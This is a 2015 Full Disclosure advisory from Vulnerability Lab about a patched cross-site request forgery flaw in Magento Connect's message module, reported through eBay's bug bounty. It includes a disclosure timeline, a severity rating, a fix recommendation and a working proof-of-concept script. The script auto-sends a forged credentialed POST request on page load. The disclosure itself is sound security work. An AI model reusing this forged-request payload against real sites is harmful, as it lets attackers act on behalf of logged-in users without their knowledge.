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[FD] Ebay Magento Bug Bounty #12 - Cross Site Request Forgery Web Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Ebay Magento Bug Bounty #12 - Cross Site Request Forgery Web Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 19 Jun 2015 15:06:56 +0200
Document Title:
===============
Ebay Magento Bug Bounty #12 - Cross Site Request Forgery Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1460
Video: http://www.vulnerability-lab.com/get_content.php?id=1526
View Video: https://www.youtube.com/watch?v=x7uaABfxxU0
EIBBP-31602
Release Date:
=============
2015-06-17
Vulnerability Laboratory ID (VL-ID):
====================================
1460
Common Vulnerability Scoring System:
====================================
2.5
Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March
31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers
within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It
uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by
0.9% of all websites.
Our team of security professionals works hard to keep Magento customer
information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that
isn`t following our policies, or a vulnerability
inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security &
http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site
request forgery web vulnerability in the official Magento Commerce
web-application.
Vulnerability Disclosure Timeline:
==================================
2015-03-17: Researcher Notification & Coordination (Hadji Samir)
2015-03-18: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)
2015-04-18: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty
Program)
2015-05-19: Vendor Fix/Patch (Magento Developer Team)
2015-05-21: Bug Bounty Reward (eBay Inc Security Team - Bug Bounty Program)
2015-06-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Magento - Connect Web Application 2015 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A client-side cross site request forgery vulnerability vulnerability has been
discovered in the official Magento Commerce web-application.
The vulnerability allows to execute unauthorized client-side application
functions without secure validation or session token protection mechanism.
Th vulnerability is located in the `create messages` input of the
`magento-connect/message/message/create/` module. Remote attackers with low
privilege
user accounts are able to delete internal magento messages of other users
without authorization. The attacker can for example intercept the session to
delete all exisiting messages. The type of issue was disclosed to the phpbb
board some years ago.
The security risk of the cross site request forgery vulnerability is estimated
as medium with a cvss (common vulnerability scoring system) count of 2.5.
Exploitation of the vulnerability requires a low privilege web-application user
account and low user interaction. Successful exploitation of the vulnerability
results in unauthorized delete or add of magento connect service panel messages.
Vulnerable Module(s):
[+] magento-connect/message/message/create/
Proof of Concept (PoC):
=======================
The client-side cross site request forgery web vulnerability can be exploited
by remote attackers without privileged application user account and with medium
user interaction.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Login to magento connect
2. Open the send message module
3. Switch to the code review and watch the vulnerable source
4. Follow the steps in the video to recreate the csrf attack!
Note: Tamper the session to intercept the url in a browser
5. Successful reproduce of the security vulnerability!
PoC: Vulnerable Source
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
var response = '';
xhr.open("POST",
"https://www.magentocommerce.com/magento-connect/message/message/create/";,
true);
xhr.setRequestHeader("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language",
"de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=---------------------------746394422743733252058139105");
xhr.withCredentials = "true";
var body = "-----------------------------746394422743733252058139105\r\n"+
"Content-Disposition: form-data; name=\"to\"\r\n" +
"\r\n"+
"addext01\r\n"+
"-----------------------------746394422743733252058139105\r\n"+
"Content-Disposition: form-data; name=\"subjects\"\r\n" +
"\r\n"+
"pentest\r\n"+
"-----------------------------746394422743733252058139105\r\n"+
"Content-Disposition: form-data; name=\"description\"\r\n" +
"\r\n"+
"hello\r\n"+
"-----------------------------746394422743733252058139105\r\n"+
"Content-Disposition: form-data; name=\"extension_url\"\r\n" +
"\r\n"+
"\r\n"+
"-----------------------------746394422743733252058139105\r\n"+
"Content-Disposition: form-data;
name=\"parent_message_id\"\r\n"+
"\r\n"+
"0\r\n"+
"-----------------------------746394422743733252058139105\r\n"+
"Content-Disposition: form-data; name=\"prevent_click\"\r\n" +
"\r\n"+
"0\r\n"+
"-----------------------------746394422743733252058139105\r\n"+
"Content-Disposition: form-data; name=\"draft\"\r\n"+
"\r\n"+
"0\r\n"+
"-----------------------------746394422743733252058139105\r\n"+
"Content-Disposition: form-data; name=\"to\"\r\n"+
"\r\n"+
"addext01\r\n"+
"-----------------------------746394422743733252058139105\r\n"+
"Content-Disposition: form-data; name=\"send\"\r\n" +
"\r\n"+
"0\r\n"+
"-----------------------------746394422743733252058139105\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
xhr.onreadystatechange = function () {
document.getElementById("myDiv").innerHTML=this.response;
}
}
window.onload = submitRequest();
</script>
Reference(s):
https://www.magentocommerce.com/magento-connect/
https://www.magentocommerce.com/magento-connect/message/
https://www.magentocommerce.com/magento-connect/message/message/create/
Solution - Fix & Patch:
=======================
Setup a cross site request forgery token to protect the create/delete messages
module in the magento connect online-service.
Security Risk:
==============
The security risk of the cross site request forgery web vulnerability in the
messages module is estimated as medium. (CVSS 2.5)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@xxxxxxxxxx]
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=========================
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